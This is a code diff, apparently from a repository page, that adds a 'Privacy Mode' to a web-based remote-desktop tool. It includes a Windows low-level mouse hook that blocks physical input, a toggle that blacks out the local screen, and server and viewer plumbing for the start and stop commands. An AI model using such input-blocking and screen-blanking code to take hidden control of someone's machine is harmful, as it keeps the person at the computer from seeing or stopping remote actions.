||||||
|
}
|
||||||
|
return 1
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
func mouseHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr {
|
||||||
|
if nCode < 0 {
|
||||||
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
if !Get().IsEnabled() {
|
||||||
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
ms := (*msllhookstruct)(unsafe.Pointer(lParam))
|
||||||
|
|
||||||
|
if ms.dwExtraInfo == InputMarker() {
|
||||||
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
if ms.flags&LLMHF_INJECTED != 0 {
|
||||||
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
func messagePump() {
|
||||||
|
log.Printf("privacy: message pump starting")
|
||||||
|
|
||||||
|
var m msg
|
||||||
|
for {
|
||||||
|
ret, _, _ := procGetMessageW.Call(
|
||||||
|
uintptr(unsafe.Pointer(&m)),
|
||||||
|
0, 0, 0,
|
||||||
|
)
|
||||||
|
if ret == 0 || ret == ^uintptr(0) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
|
||||||
|
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("privacy: message pump stopped")
|
||||||
|
}
|
||||||
@@ -441,3 +441,8 @@ type WebRTCP2PIce struct {
|
|||||||
SDPMid string `msgpack:"sdpMid"`
|
SDPMid string `msgpack:"sdpMid"`
|
||||||
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
|
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type PrivacyStatus struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
Enabled bool `msgpack:"enabled"`
|
||||||
|
}
|
||||||
|
|||||||
@@ -80,6 +80,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
const inputLatency = document.getElementById("inputLatency");
|
const inputLatency = document.getElementById("inputLatency");
|
||||||
const statusEl = document.getElementById("streamStatus");
|
const statusEl = document.getElementById("streamStatus");
|
||||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||||
|
const privacyCtrl = document.getElementById("privacyCtrl");
|
||||||
const audioCtrl = document.getElementById("audioCtrl");
|
const audioCtrl = document.getElementById("audioCtrl");
|
||||||
const webrtcMode = document.getElementById("webrtcMode");
|
const webrtcMode = document.getElementById("webrtcMode");
|
||||||
const webrtcVideo = document.getElementById("webrtcVideo");
|
const webrtcVideo = document.getElementById("webrtcVideo");
|
||||||
@@ -427,6 +428,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
duplication: !!duplicationCtrl?.checked,
|
duplication: !!duplicationCtrl?.checked,
|
||||||
softwareH264: !!softwareH264Ctrl?.checked,
|
softwareH264: !!softwareH264Ctrl?.checked,
|
||||||
clipboardSync: !!clipboardSyncCtrl?.checked,
|
clipboardSync: !!clipboardSyncCtrl?.checked,
|
||||||
|
privacy: !!privacyCtrl?.checked,
|
||||||
audio: !!audioCtrl?.checked,
|
audio: !!audioCtrl?.checked,
|
||||||
audioTransport: getAudioTransport(),
|
audioTransport: getAudioTransport(),
|
||||||
smoothing: Number(smoothingSlider?.value || 20),
|
smoothing: Number(smoothingSlider?.value || 20),
|
||||||
@@ -802,6 +804,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (privacyCtrl) {
|
||||||
|
privacyCtrl.addEventListener("change", function () {
|
||||||
|
pushPrivacyToggle();
|
||||||
|
sharedSettingsSaver.scheduleSave();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
function updateLatency(ms) {
|
function updateLatency(ms) {
|
||||||
if (ms < 0 || !Number.isFinite(ms)) return;
|
if (ms < 0 || !Number.isFinite(ms)) return;
|
||||||
latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2;
|
latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2;
|
||||||
@@ -1387,6 +1396,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
desiredStreaming = false;
|
desiredStreaming = false;
|
||||||
lastFrameAt = 0;
|
lastFrameAt = 0;
|
||||||
setStreamState("stopping", "Stopping stream");
|
setStreamState("stopping", "Stopping stream");
|
||||||
|
disablePrivacyIfActive();
|
||||||
sendCmd("desktop_stop", {});
|
sendCmd("desktop_stop", {});
|
||||||
disconnectAudio();
|
disconnectAudio();
|
||||||
stopAllWebrtc();
|
stopAllWebrtc();
|
||||||
@@ -1435,6 +1445,18 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function pushPrivacyToggle() {
|
||||||
|
if (!privacyCtrl) return;
|
||||||
|
sendCmd(privacyCtrl.checked ? "privacy_start" : "privacy_stop", {});
|
||||||
|
}
|
||||||
|
|
||||||
|
function disablePrivacyIfActive() {
|
||||||
|
if (privacyCtrl && privacyCtrl.checked) {
|
||||||
|
privacyCtrl.checked = false;
|
||||||
|
sendCmd("privacy_stop", {});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
mouseCtrl.addEventListener("change", function () {
|
mouseCtrl.addEventListener("change", function () {
|
||||||
pushInputToggles();
|
pushInputToggles();
|
||||||
sharedSettingsSaver.scheduleSave();
|
sharedSettingsSaver.scheduleSave();
|
||||||
@@ -2153,6 +2175,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
function stopOnExit() {
|
function stopOnExit() {
|
||||||
sharedSettingsSaver.saveNow();
|
sharedSettingsSaver.saveNow();
|
||||||
if (isRecording()) stopRecording();
|
if (isRecording()) stopRecording();
|
||||||
|
disablePrivacyIfActive();
|
||||||
if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
|
if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
|
||||||
desiredStreaming = false;
|
desiredStreaming = false;
|
||||||
sendCmd("desktop_stop", {});
|
sendCmd("desktop_stop", {});
|
||||||
|
|||||||
@@ -239,6 +239,9 @@
|
|||||||
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine">
|
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine">
|
||||||
<input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync
|
<input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync
|
||||||
</label>
|
</label>
|
||||||
|
<label class="flex items-center gap-2 text-sm text-red-400 col-span-2" title="Blacks out local screen and blocks physical input. Remote view remains unaffected. Local escape: Ctrl+P">
|
||||||
|
<input type="checkbox" id="privacyCtrl" /> Privacy Mode
|
||||||
|
</label>
|
||||||
</div>
|
</div>
|
||||||
<div class="flex items-center gap-2" title="Smooths mouse input for steadier movement">
|
<div class="flex items-center gap-2" title="Smooths mouse input for steadier movement">
|
||||||
<label class="text-sm text-slate-300 w-20" for="smoothingSlider">Smoothing</label>
|
<label class="text-sm text-slate-300 w-20" for="smoothingSlider">Smoothing</label>
|
||||||
|
|||||||
@@ -571,6 +571,12 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case "privacy_start":
|
||||||
|
sendDesktopCommand(target, "privacy_start", {});
|
||||||
|
break;
|
||||||
|
case "privacy_stop":
|
||||||
|
sendDesktopCommand(target, "privacy_stop", {});
|
||||||
|
break;
|
||||||
case "mouse_move": {
|
case "mouse_move": {
|
||||||
if (!state.isStreaming) break;
|
if (!state.isStreaming) break;
|
||||||
const rawX = (payload as any).x;
|
const rawX = (payload as any).x;
|
||||||
|
|||||||
Reference in New Issue
Block a user